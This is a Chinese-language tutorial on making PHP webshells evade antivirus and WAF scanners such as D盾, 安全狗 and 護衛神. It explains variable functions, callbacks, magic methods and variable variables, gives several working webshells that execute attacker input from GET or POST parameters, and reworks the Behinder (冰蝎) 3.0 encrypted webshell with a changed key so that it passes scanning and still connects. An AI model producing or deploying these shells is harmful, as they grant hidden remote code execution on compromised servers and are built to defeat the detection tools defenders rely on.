webshell免殺之函數與變量玩法
動態函數
PHP中支持一個功能叫 variable function ,變量函數的意思。
例:$a='system'; $a('dir'); //最終是system('dir');
當一個變量后邊帶括號,那他就被視作一個函數。編譯器會解析出變量的值(假設值為符串system),然后會去找當前是否存在名為“system()”的函數并執行它。
注:eval 、echo、print 等看似是函數但并非函數,而是語言構造器(語言結構),不支持該用法
動態函數利用時就可以達到隱藏危險函數關鍵字特征的目的,我可以對函數關鍵字進行拆分,編碼,然后拼接還原,再利用動態函數特性執行。
例:$_GET[‘func’]($_REQUEST[‘pass’]); //這就是動態函數webshell
這里就不給實例了,很多免殺案例中都用到了這個特性。也是被瘋狂查殺的特征。
回調函數
回調函數,簡單來說就是一個函數不是由我直接調用,而是通過另一個函數去調用它。
這種方法很簡單,php中回調函數有很多個,但大多已經被標記經過測試找到一個目前還能免殺的:
<?php
forward_static_call_array('assert',array($_GET['x'])); ?>
D盾:1級forward_static_call_array 如果嘗試對回調函數 進行字符特征隱藏,再用動態函數執行,反而提升2級
魔術方法
PHP中以兩個下劃線開頭的函數,被稱為魔術方法 是保留方法。
魔術方法是一種特殊的方法,當對對象執行某些操作時會覆蓋 PHP 的默認操作。
魔術方法中有兩個函數:構造函數:創建對象時會自動調用此方法,初始化操作。析構函數:對象的引用被全部刪除或銷毀時執行。析構函數不能有參數
//__destruct() 析構函數 ;__construct() 構造函數<?php class me{ public $a = ''; function __destruct(){ eval("$this->a".' '); }}$a=$_GET['xxx'];$b = new me;$b->a = $a;?>
D盾3級 可疑;安全狗 護衛神 免殺
上面用析構函數D盾會檢測到,當嘗試改特征時發現,不用析構函數就能夠免殺。果然,高端的免殺往往只需要最樸素的方式
<?php class mexx{ public $a = ''; function mexx(){ eval("$this->a".'; '); }}$a=$_GET['xxx'];$b = new mexx;$b->a = $a;echo $b->mexx();?>
全過。
可變變量
PHP還支持一種語法:可變變量,可以把一個變量的值作為另一個變量的變量名。例如:變量a的值是‘c’;變量c的值是‘ccc’,當使用兩個 變量符號時 $$a 這就是一個可變變量,就不是$a 而是$c。為什么會是$c ?
在編程中,代碼執行時整體是從上到下,從左到右,但是賦值語句,則是從右到左。
測試來看可變變量是從右往左的
$a='c';$c='flag';echo $a; //結果 cecho $$a; //結果 flag// $$a 解析從右往左找到第一個變量符號 把$a解析,得到$c
這里利用可變變量進行免殺
<?php $c=‘1’; //刪掉此句 安全狗免殺;$a='c';$$a=$_POST[‘x’]; //$cassert($c); //d盾特征?>
變量c需要給一個值,不能空值,否側d盾檢測到變量未知內容,會報4級D盾1級,其他免殺
這里有個想法,可變變量能支持多少層哪,只能變一次還是能多次。
$a='c';$c='flag';$flag='123';echo $$a; //結果 flagecho $$$a; //結果 123echo "$$a"; //結果 $c echo "{$$$a}"; //結果 123
最終發現可變變量是支持多層的,但在雙引號中不支持可變變量,需要用花括號來包裹聲明。
改造冰蝎
了解了前面的方法,那就嘗試對冰蝎的腳本改造一下。
先來看冰蝎3.0的默認腳本,查殺一下

經過用D盾嘗試,發現file_get_contents,openssl 等關鍵字都會被檢測為木馬,最終在不動eval關鍵字情況下,修改如下
<?php@error_reporting(0);session_start();
$key="e45e329feb5d925b"; $_SESSION['k']=$key; session_write_close(); $aaa='file_get_contents'; $bbb='openssl'; $post=$aaa("php://input"); if(!extension_loaded($bbb)) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1];class mexx{ public $a = ''; function mexx(){ eval("$this->a".''); } }$b = new mexx();$b->a = $params;echo $b->mexx();?>
原本的類中是用了魔術方法將對象當函數執行,用回調函數去調用。這里改為常規的方式調用,將被查殺file_get_contents關鍵字用改成變量函數調用
本地查殺:安全狗護衛神免殺,D盾(1級|可疑)在線查殺效果

只有報了一個,我推斷是檢測到eval關鍵字才告警,遂換成echo函數試試是否免殺
結果還是被查殺,看來檢測的特征不是在這里。
經過不斷嘗試,想到密鑰 key的值是默認的e45e329feb5d925b,會不會是它。
把key改掉,如下
<?php@error_reporting(0);session_start();$key="47bce5c74f589f48"; //aaa $_SESSION['k']=$key; session_write_close(); $aaa='file_get_contents'; $bbb='openssl'; $post=$aaa("php://input"); if(!extension_loaded($bbb)) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } }else{ $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1];class mexx{ public $a = ''; function mexx(){ eval("$this->a".''); } }$b = new mexx();$b->a = $params;echo $b->mexx();?>
查殺結果

腳本正常連接

總結從上述案例能看出來,想要免殺很簡單,不需要花里胡哨的操作,只需要改變下結構或函數,不需要變形編碼關鍵字也能實現免殺。